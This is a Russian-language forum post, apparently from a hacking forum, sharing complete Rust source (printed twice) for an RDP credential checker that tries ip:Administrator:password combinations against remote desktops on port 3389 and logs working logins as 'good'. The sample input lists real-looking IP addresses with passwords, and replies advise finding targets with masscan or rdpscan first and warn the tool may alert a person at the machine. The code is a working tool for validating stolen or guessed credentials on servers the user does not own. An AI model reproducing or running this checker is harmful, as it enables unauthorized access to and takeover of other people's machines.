Когда изучал язык писал все подряд, вот одно из того, что было написано мной. О программе: самый простой чекер дедиков, на вход дается txt с данными, на выход получаем output.txt с результатом Пример входящих данных: 89.23.100.198:Administrator:54fsfs 89.23.100.198:Administrator:JmbHZjp7TuEdIakX Код 89.23.100.198:Administrator:54fsfs 89.23.100.198:Administrator:JmbHZjp7TuEdIakX main.rs use std::net::SocketAddr; use rdp::core::client::Connector; use serde_json; use std::fs::{OpenOptions, File}; use std::io::{self, Write, BufRead, BufReader}; #[derive(Debug, serde::Deserialize)] struct Config { file_path: String, output: String } static CONFIG_JSON: &str = include_str!("../config.json"); fn write_to_file(filename: &str, ip: &str, username: &str, password: &str, status: &str) -> io::Result<()> { let mut file = OpenOptions::new() .create(true) .write(true) .append(true) .open(filename)?; writeln!(file, "{}:{}:{} - {}", ip, username, password, status)?; Ok(()) } fn read_file_and_parse(filename: &str) -> Vec<Vec<String>> { let mut lines: Vec<Vec<String>> = Vec::new(); if let Ok(file) = File::open(filename) { let reader = BufReader::new(file); for line in reader.lines() { if let Ok(line_contents) = line { let mut parts: Vec<String> = line_contents.split(':').map(|s| s.to_string()).collect(); if parts.len() < 4 { parts.push("3389".to_string()); } lines.push(parts); } } } else { eprintln!("Failed to open file: {}", filename); } lines } fn connect_to_remote_desktop(address: &str, username: &str, password: &str) { let config: Config = serde_json::from_str(CONFIG_JSON).expect("Unable to deserialize JSON"); let addr: SocketAddr = address.parse().expect("Failed to parse address"); if let Ok(tcp) = std::net::TcpStream::connect(&addr) { let mut connector = Connector::new() .screen(800, 600) .credentials(address.to_string(), username.to_string(), password.to_string()); if let Ok(_) = connector.connect(tcp) { write_to_file(&config.output, address, username, password, "good").unwrap(); println!("Successfully connected to remote desktop"); } else { write_to_file(&config.output, address, username, password, "bad").unwrap(); eprintln!("Failed to connect to remote desktop"); } } else { eprintln!("Failed to connect to remote desktop"); } } fn main() { let config: Config = serde_json::from_str(CONFIG_JSON).expect("Unable to deserialize JSON"); let lines = read_file_and_parse(&config.file_path); for line in &lines { if line.len() >= 3 { let address = format!("{}:{}", &line[0], &line[3]); let username = &line[1]; let password = &line[2]; println!("Connecting to remote desktop with credentials: {}", line.join(":")); connect_to_remote_desktop(&address, username, password); } else { eprintln!("Invalid format for line: {:?}", line); } } } Код use std::net::SocketAddr; use rdp::core::client::Connector; use serde_json; use std::fs::{OpenOptions, File}; use std::io::{self, Write, BufRead, BufReader}; #[derive(Debug, serde::Deserialize)] struct Config { file_path: String, output: String } static CONFIG_JSON: &str = include_str!("../config.json"); fn write_to_file(filename: &str, ip: &str, username: &str, password: &str, status: &str) -> io::Result<()> { let mut file = OpenOptions::new() .create(true) .write(true) .append(true) .open(filename)?; writeln!(file, "{}:{}:{} - {}", ip, username, password, status)?; Ok(()) } fn read_file_and_parse(filename: &str) -> Vec<Vec<String>> { let mut lines: Vec<Vec<String>> = Vec::new(); if let Ok(file) = File::open(filename) { let reader = BufReader::new(file); for line in reader.lines() { if let Ok(line_contents) = line { let mut parts: Vec<String> = line_contents.split(':').map(|s| s.to_string()).collect(); if parts.len() < 4 { parts.push("3389".to_string()); } lines.push(parts); } } } else { eprintln!("Failed to open file: {}", filename); } lines } fn connect_to_remote_desktop(address: &str, username: &str, password: &str) { let config: Config = serde_json::from_str(CONFIG_JSON).expect("Unable to deserialize JSON"); let addr: SocketAddr = address.parse().expect("Failed to parse address"); if let Ok(tcp) = std::net::TcpStream::connect(&addr) { let mut connector = Connector::new() .screen(800, 600) .credentials(address.to_string(), username.to_string(), password.to_string()); if let Ok(_) = connector.connect(tcp) { write_to_file(&config.output, address, username, password, "good").unwrap(); println!("Successfully connected to remote desktop"); } else { write_to_file(&config.output, address, username, password, "bad").unwrap(); eprintln!("Failed to connect to remote desktop"); } } else { eprintln!("Failed to connect to remote desktop"); } } fn main() { let config: Config = serde_json::from_str(CONFIG_JSON).expect("Unable to deserialize JSON"); let lines = read_file_and_parse(&config.file_path); for line in &lines { if line.len() >= 3 { let address = format!("{}:{}", &line[0], &line[3]); let username = &line[1]; let password = &line[2]; println!("Connecting to remote desktop with credentials: {}", line.join(":")); connect_to_remote_desktop(&address, username, password); } else { eprintln!("Invalid format for line: {:?}", line); } } } config.json: config.json { "file_path": "./creditinals.txt", "output": "./output.txt" } JS { "file_path": "./creditinals.txt", "output": "./output.txt" } Зависимости: dependencies [dependencies] rdp-rs = "0.1.0" serde = { version = "1.0", features = ["derive"] } serde_json = "1.0" Код [dependencies] rdp-rs = "0.1.0" serde = { version = "1.0", features = ["derive"] } serde_json = "1.0"
для тех кто захочет трайнуть учтите, что перед ****ом нужно проверить порты (нужен 3389) юзать можно rdpscan либо masscan насчет твоего софта, скорее всего он будет пинговать сидяшего человека на машине (подключенно другое устройство)
cveattack, возможно, нужно либу смотреть заново, уже ниче не помню, выбирал вроде с адекватным решением по чеку